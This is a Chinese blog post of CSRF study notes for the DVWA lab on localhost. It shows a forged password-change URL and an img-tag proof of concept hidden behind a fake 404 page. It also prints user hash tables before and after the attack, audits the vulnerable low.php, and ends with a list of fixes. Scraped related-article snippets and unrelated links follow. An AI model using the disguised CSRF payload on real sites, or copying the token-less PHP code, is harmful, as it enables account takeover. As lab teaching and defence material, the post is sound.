+++++++++++++++++++++++++++

+ 00x1 实现简单的攻击

+ 00x2 代码审计漏洞的源头

+++++++++++++++++++++++++++

00x1 简单的csrf攻击开始了


下面是一个修改密码的修改框:

那么修改密码的时候看到了URL为:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

倘若黑客将这个修改密码的URL发给被攻击者那么存在csrf漏洞的情况下,被攻击者同样的也会被修改密码。

利用的方法(在文章末尾有写此方法的小技巧):

<img src=” http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#”>

(这里我将该代码存到1.html当中然后访问)

将这个img标签插入到一个页面当中,但你访问这个页面的时候你也访问了那个具有更改密码功能的url。

我们先来看看,本来有多少个管理员。

mysql> select user,password from users;
+---------+----------------------------------+
| user | password |
+---------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+ 5 rows in set (0.00 sec)

可见只有五个管理员的.

现在我们上传一个Html页面,然后访问html页面以后。

(PS:本来是使用img标签,部分浏览器会进行拦截所以就使用了a标签)

再看看数据库。

mysql> select user,password from users;
+---------+----------------------------------+
| user | password |
+---------+----------------------------------+
| admin | 6e60cfc734e2ace0d02da94f160c346f|
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+

是否发现admin的MD5已经被替换。

00x2 代码审计漏洞的源头


刚才案例的low.php

 <?php

     if (isset($_GET['Change'])) {

         // Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf']; if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); $html .= "<pre> Password Changed </pre>";
mysql_close();
} else{
$html .= "<pre> Passwords did not match. </pre>";
} }
?>

在第10行只是将检测$pass_new和$pass_conf是否相同哦(也就是两次输入的密码是否相同),然后使用mysql_Real_escaoe_String函数进行了过滤sql注入,然后就执行sql来修改密码。如此没有对referer的判断便导致了csrf漏洞。

写poc的时候可以那么写:

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

效果如下:

会写成几篇文章,最后写出如何修复的答案,欢迎朋友们留言讨论。

Csrf的修复

  1. 验证http referrer
  2. 在请求地址当中添加token并且验证
  3. 自定义http头中自定义属性并且验证

CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】的更多相关文章

  1. CSRF学习笔记之CSRF的攻击与防御以及审计【00x3】

    Hight.php完整代码如下: <?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_curr = ...

  2. CSRF学习笔记之CSRF的攻击与防御以及审计【00x2 】

    Medium完整代码: <?php if (isset($_GET['Change'])) { // Checks the http referer header if ( eregi ( &q ...

  3. CSRF学习笔记之CSRF的防御【00x4】

    referer 验证 根据HTTP协议,在http请求头中包含一个referer的字段,这个字段记录了该http请求的原地址.通常情况下,执行转账操作的post请求www.bank.com/trans ...

  4. 初探csrf学习笔记

    以下是学习了对CSRF的理解,大家切勿作为标准,如有出错请告之! 严禁转载.不想拿自己刚学到的知识去[误人子弟]之所以写出来是让自己巩固和增加理解,他日对此文有不当之处自会修改. [00x1]csrf ...

  5. csrf学习笔记

    CSRF全称Cross Site Request Forgery,即跨站点请求伪造.我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的. CSRF攻击能够达到的目的是使受害者发 ...

  6. CSRF 学习笔记

    1:什么是CSRF: 假设有一个支付网站:www.xx.com 向小明同学付款1000元数据包: www.xx.com/pay.php?name=xiaoming&account=xxxx@q ...

  7. 学习笔记之csrf

    CBV 添加 csrf 第一种: 指定方法方面添加 装饰器 @memethod_decorator(xxx) 第二种 全部添加: 注意 在类名前: @method_decorator(xxx,name ...

  8. SurvivalShooter学习笔记(四.敌人攻击)

    此案例中,敌人始终朝着玩家移动 到达攻击玩家范围时(身上的大的触发器被玩家触发时(敌人靠近玩家,当身上的触发器被触发,且对象是玩家时条件达成)) 隔一个时间端,打击玩家一下,对玩家造成伤害,玩家掉血, ...

  9. Metasploit学习笔记——网络服务渗透攻击

    1.内存攻防技术 1.1缓冲区溢出漏洞机理 1.2栈溢出利用机理 1.3缓冲区溢出利用的限制条件 2.网络服务渗透攻击面 3. Windows服务渗透攻击实战案例——MS08-067安全漏洞 示例代码 ...

随机推荐

  1. iOS:详解MJRefresh刷新加载更多数据的第三方库

    原文链接:http://www.ios122.com/2015/08/mjrefresh/ 简介 MJRefresh这个第三方库是李明杰老师的杰作,这个框架帮助我们程序员减轻了超级多的麻烦,节约了开发 ...

  2. 使用node中的express解决vue-cli加载不到dev-server.js的问题

    在使用vue开发过程中,难免需要去本地数据地址进行请求,而原版配置在dev-server.js中,新版vue-webpack-template已经删除dev-server.js,改用webpack.d ...

  3. PySpider 框架爬虫错误 HTTP 599: SSL certificate problem: unable to get local issuer certificate解决方案

    首先pyspider all启动pyspider的所有服务,然后访问http://localhost:5000创建一个爬虫任务:taobaomm,点开任务链接编辑http://localhost:50 ...

  4. (转)NIO 文件锁定

    文件锁定 概述 文件锁定初看起来可能让人迷惑.它 似乎 指的是防止程序或者用户访问特定文件.事实上,文件锁就像常规的 Java 对象锁 ― 它们是 劝告式的(advisory) 锁.它们不阻止任何形式 ...

  5. CEdit自动换行和状态栏添加

    CEdit自动换行在对话框的属性中是可以直接设置的. Auto HScroll设置为False Auto VScroll设置为True Mulitline设置为True Want Return设置为T ...

  6. 算法笔记_114:等额本金(Java)

    1 等额本金 标题:等额本金 小明从银行贷款3万元.约定分24个月,以等额本金方式还款. 这种还款方式就是把贷款额度等分到24个月.每个月除了要还固定的本金外,还要还贷款余额在一个月 中产生的利息. ...

  7. Building An Effective Marketing Plan

    “New ideas are a dime a dozen,” observes Arthur R. Kydd, “and so are new products and new technologi ...

  8. Openerp开发进销存系统总结

    转自 :http://blog.sina.com.cn/s/blog_7cb52fa80101ngt8.html 差不多用了2个星期的闲余事件,对于openerp v7.0进行了学习和应用开发.细节总 ...

  9. stderr和stdout详细解说(转)

    今天又查了一下fprintf,其中对第一个参数stderr特别感兴趣. int fprintf(FILE *stream,char *format,[argument]): 在此之前先区分一下:pri ...

  10. STL源码剖析(算法)

    STL中算法是基于迭代器来实现的. 有了容器中迭代器的实现(对operator*.operator++等的重载),STL中大部分算法实现就显得很简单了. 先看一例关于find算法的实现: templa ...